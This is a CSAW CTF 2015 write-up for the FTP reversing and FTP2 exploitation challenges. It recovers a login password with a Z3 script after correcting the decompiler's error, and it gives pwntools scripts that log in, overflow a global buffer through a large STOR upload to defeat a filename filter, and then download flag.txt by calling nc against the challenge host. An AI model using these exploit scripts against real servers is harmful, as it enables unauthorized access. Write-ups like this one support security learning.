CSAW CTF 2015 – FTP & FTP2

Category: Reversing (FTP) & Exploitable (FTP2) Points: 300 (FTP) & 300 (FTP2)

FTP

64 bit ELF. It’s a FTP-like service, we can list all the acceptable command by sending the HELP command. Here are some important commands that we’ll need to pass the challenges:
USER [username]: enter username to login PASS [password]: enter password after sending the USER command to login as the [username] PASV: open a port for passive mode LIST: list the files in the directory STOR: upload a file RETR: download a file RDF: read the reversing solution’s flag

So after some static analysis with the help of IDA Pro, I figure out that in order to pass the reversing challenge, we’ll need to login as the user blankwall. The password checking function’s at 0x401540, let’s take a look at it:

__int64 __fastcall sub_401540(__int64 a1)
{
    int i; // [sp+10h] [bp-8h]@1
    int v3; // [sp+14h] [bp-4h]@1

    v3 = 5381;
    for ( i = 0; *(_BYTE *)(i + a1); ++i )
        v3 = 33 * v3 + *(_BYTE *)(i + a1);
    return (unsigned int)v3;
}

if (result == -746139127) // result should be 0xd386d209
{
    login_bit = 1;
    dword_604408 = 'f';
}

At first I was like “Ah, that’s easy!”, since we have the constraint system, we can just set it up and leave the rest to Z3. But after I have the solution and enter the password, the service respond it with a frustrating “Invalid login credentials”. Knowing that Hex-Rays’ decompiler might have the incorrect decompiling result, I re-check the password checking logic by reversing directly from the x64 assembly, not the pseudo code, and finally found the root of the problem:

mov     eax, [rbp+var_4] ; v3, with 0x1505 as the initial value
shl     eax, 5
mov     edx, eax         ; rdx = (v3 << 5) & 0xFFFFFFFF
mov     eax, [rbp+var_4] ; now rax = ((v3 << 5) & 0xFFFFFFFF00000000) | (v3 & 0xFFFFFFFF)
lea     ecx, [rdx+rax]   ; ecx = (rdx + rax) & 0xFFFFFFFF
mov     eax, [rbp+var_8] ; for loop counter == index
movsxd  rdx, eax
mov     rax, [rbp+var_18]
add     rax, rdx
movzx   eax, byte ptr [rax]
movsx   eax, al ; eax = password[index]
add     eax, ecx ; 
mov     [rbp+var_4], eax ; v3 = ecx + eax

What really matters is the assembly eax, [rbp+var_4] at line 4. Notice that when the program move v3 to the register eax, it doesn’t clear the highest 32 bits of the register rax. So when it runs to the line ecx, [rdx+rax], rax isn’t just simply v3 & 0xFFFFFFFF, it’s actually:

((v3 << 5) & 0xFFFFFFFF00000000) | (v3 & 0xFFFFFFFF)

and that’s where the Hex-Rays decompiler made the mistake.

So now we have the correct constraint system. Wrote a Z3 python script and retrieve the password:

#!/usr/bin/env python

from z3 import *
import sys

def check(size, xs):
    ret = BitVecVal(0x1505, 64)
    for i in xrange(size):
        eax = ret & 0xffffffff
        eax <<= 5
        rdx = eax & 0xffffffff
        rax = (0xffffffff00000000 & eax) | (ret & 0xffffffff)
        ecx = (rdx + rax) & 0xffffffff
        ecx += xs[i] & 0xff
        ret = ecx
    return (ret & 0xffffffff)

def solv(size, target):
    s = Solver()
    xs = []
    for i in xrange(size):
        x = BitVec("x%d" % i, 64)
        s.add( 33 <= x )
        s.add( x <= 122 )
        xs.append(x)

    s.add(check(size, xs) == target)
    if s.check() == sat:
        m = s.model()
        a = ""
        for i in xrange(size):
            print m[xs[i]]        
    else:
        print "unsat"

for size in xrange(1, 11):
    print "trying size:", size
    solv(size, 0xd386d209)

Since I don’t know the password length, I just brute force it from 1 ~ 10. We can found a solution at length 6:

trying size: 0
unsat
trying size: 1
unsat
trying size: 2
unsat
trying size: 3
unsat
trying size: 4
unsat
trying size: 5
unsat
trying size: 6
86
41
66
119
116
88

Now we get the login password, time to capture the flag :)

#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time

#HOST = "localhost"
HOST = "54.175.183.202"
PORT = 12012
ELF_PATH = ""
LIBC_PATH = ""

# setting 
context.arch = 'amd64'
#context.arch = 'i386'
#context.arch = 'arm'
#context.arch = 'aarch64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
#elf = ELF(ELF_PATH)
#libc = ELF(LIBC_PATH)

def my_recvuntil(s, delim):
    res = ""
    while delim not in res:
        c = s.recv(1)
        res += c
        sys.stdout.write(c)
        sys.stdout.flush()
    return res

def myexec(cmd):
    return subprocess.check_output(cmd, shell=True)

if __name__ == "__main__":

    password = [86, 41, 66, 119, 116, 88]
    password = ''.join(chr(c) for c in password)

    r = remote(HOST, PORT)
    #r = process(ELF_PATH)
    r.recvuntil("server\n")
    r.sendline("USER blankwall")
    r.recvuntil("blankwall\n")
    r.send("PASS "+password)
    r.recvuntil("in\n")
    r.sendline("RDF") # read the flag

    r.interactive()

The flag is: flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}

FTP2

So now we’re logged in as a valid user, we can finally do some other stuff. After sending PASV and the LIST command, I found that there’s a flag.txt in the directory. At first I try to download the file, but the service response “Invalid character specified”. Well that’s strange :/ so I went to the RETR function and start analyzing.

s = filename; //[bp - 0x30]
v7 = strlen(filename); //[bp - 0x28]
while ( *s != dword_604408 )
{
    --v7;
    if ( !v7 )
        break;
    ++s;
}
if ( s[1] )
{
    result = sub_4014F8(*(_DWORD *)a1, "Invalid character specified\n");
}

So…to sum it up, the program will detect whether if the filename has the character store in 0x604408, and if it does, it will refuse to let us download the file. Remeber the function that does the password checking?

if (result == -746139127) // result should be 0xd386d209
{
    login_bit = 1;
    dword_604408 = 'f'; //LOL
}

So apparently we can’t have 'f' in our filename, we’ll need to find another way to bypass the filter. By checking other functions, I finally found a way to bypass it.

sub_4014F8(*(_DWORD *)a1, "transfer starting.\n");
while ( 1 )
{
    v6 = recv(*(_DWORD *)(a1 + 4), byte_604200, 0xAuLL, 0);
    if ( v6 < 0 )
        break;
    if ( !v6 )
        goto LABEL_8;
    v5 += v6;
}

sub_4014F8(*(_DWORD *)a1, "error receiving file");

LABEL_8:
    printf("Storing file %s", *(_QWORD *)(a1 + 24));
    byte_604200[(signed __int64)(signed int)v5] = 0; // overflow vulnerability
    v3 = dword_604404++;
    LODWORD(v4) = sub_40139B(v7, v5);
    qword_604840[v3] = v4;
    sub_4014F8(*(_DWORD *)a1, "transfer complete\n");
    result = sub_4023DF(a1, 4207204LL);

Here in the STOR function, if we upload a file that is big enough, we can overwrite the data at 0x604408. So it’s quite simple: just create a file that is larger than 512 bytes, then upload it to the server. After that, we can download the flag.txt and get the flag.

#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time

#HOST = "localhost"
HOST = "54.175.183.202"
PORT = 12012
ELF_PATH = ""
LIBC_PATH = ""

# setting 
context.arch = 'amd64'
#context.arch = 'i386'
#context.arch = 'arm'
#context.arch = 'aarch64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
#elf = ELF(ELF_PATH)
#libc = ELF(LIBC_PATH)

def my_recvuntil(s, delim):
    res = ""
    while delim not in res:
        c = s.recv(1)
        res += c
        sys.stdout.write(c)
        sys.stdout.flush()
    return res

def myexec(cmd):
    return subprocess.check_output(cmd, shell=True)

if __name__ == "__main__":

    """
    solved by z3
    trying size: 6
    86
    41
    66
    119
    116
    88
    """
    password = [86, 41, 66, 119, 116, 88]
    password = ''.join(chr(c) for c in password)

    r = remote(HOST, PORT)
    #r = process(ELF_PATH)
    r.sendlineafter("server\n", "USER blankwall")
    r.sendafter("blankwall\n", "PASS "+password)
    r.recvuntil("in\n")
    log.success("login success")

    log.info("Sending dildo.txt...") # don't mind the filename LOL!
    r.sendlinethen("port: ", "PASV")
    pasv_port = int(r.recvline())
    r.sendline("STOR dildo.txt")
    myexec("cat dildo.txt | nc "+HOST+" "+str(pasv_port))
    r.recvuntil("complete\n")
    log.success("Send success!")

    log.info("Downloading flag.txt...")
    r.sendlinethen("port: ", "PASV")
    pasv_port = int(r.recvline())
    r.sendline("RETR flag.txt")
    flag = myexec("nc "+HOST+" "+str(pasv_port))
    log.success("Get flag: "+flag)

The flag is: flag{exploiting_ftp_servers_in_2015}

Comments